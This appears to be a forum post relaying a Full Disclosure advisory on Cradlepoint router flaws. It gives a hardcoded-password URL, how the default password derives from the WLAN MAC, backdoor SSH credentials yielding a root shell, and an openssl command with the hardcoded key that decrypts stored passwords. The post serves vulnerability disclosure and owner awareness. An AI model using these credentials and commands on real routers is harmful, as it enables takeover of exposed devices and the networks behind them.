Cradlepoint Router Vulnerabilities

From fulldisclosure:

Many vulnerabilities in the built-in software of the Cradlepoint Router. 100000 such routers can be seen in the shodan (https://www.shodan.io/search?query=cradlepointhttpservice). These vulnerabilities were reported to Cradlepoint in august.

A hardcoded password allows you to retrieve sensitive information, including the default password:
* go to http://[router IP]/plt?password=W6rqCjk5ijRs6Ya5bv55
* router default password is last 8 characters of WLAN_MAC

Escalate privileges using a backdoor account with a hardcode username and password:
1. enable ssh login
2. set control.system.techsupport_access true
3. login with ssh using u:cproot p:1415 + last 4 bytes of WLAN_MAC
4. type 'sh' to get root shell

Passwords that are encrypted using a hardcoded key:
* for passwords in the configuration store starting with "$1" the encrypted password is all after the last "$"
* the password can be decrypted using: echo [encrypted password] | openssl enc -d -aes-256-cbc -md sha1 -base64 -nosalt -k "NGJkODg1ZGE1NDhhY2ZhY2VmYjM0MDIzZjA0M2YzNTY="

------

These devices are popular among those deploying systems using mobile broadband on various carriers. The exploits outlined above could allow hackers to take control of the router, or potentially open holes to devices behind it. Not sure if Cradlepoint has issued updated firmware, or plans to do so, but thought people here might want to be aware of this vuln.

Login to read this IPVM discussion.
Why do I need to log in?
IPVM conducts unique testing and research funded by member's payments enabling us to offer the most independent, accurate and in-depth information.

*** ** ***** *** ******** ** **** *****, *** ***'* you **** ***** **** * ****** ** ******* (**- *** public ** ******* ** *** ******) ** ****** **** ** these ******? * **** ***** * *** ** ******** *******/*****, but **** ***** **** * ****** *** ** **** ** the *****.

* **** *** ********** ****** *** *************** *** **** ******, but ***, ** *** ******* ** ***** **** **** ****** IP ************ ***** ****** ******** **** ** *** **** ****.

Newest Discussions

Posts Latest
1
less than a minute by Undisclosed Integrator #1
1
less than a minute by Undisclosed Integrator #1
21
2 minutes by Undisclosed #4
3
5 minutes by Undisclosed #2
2
1 minute by Undisclosed #2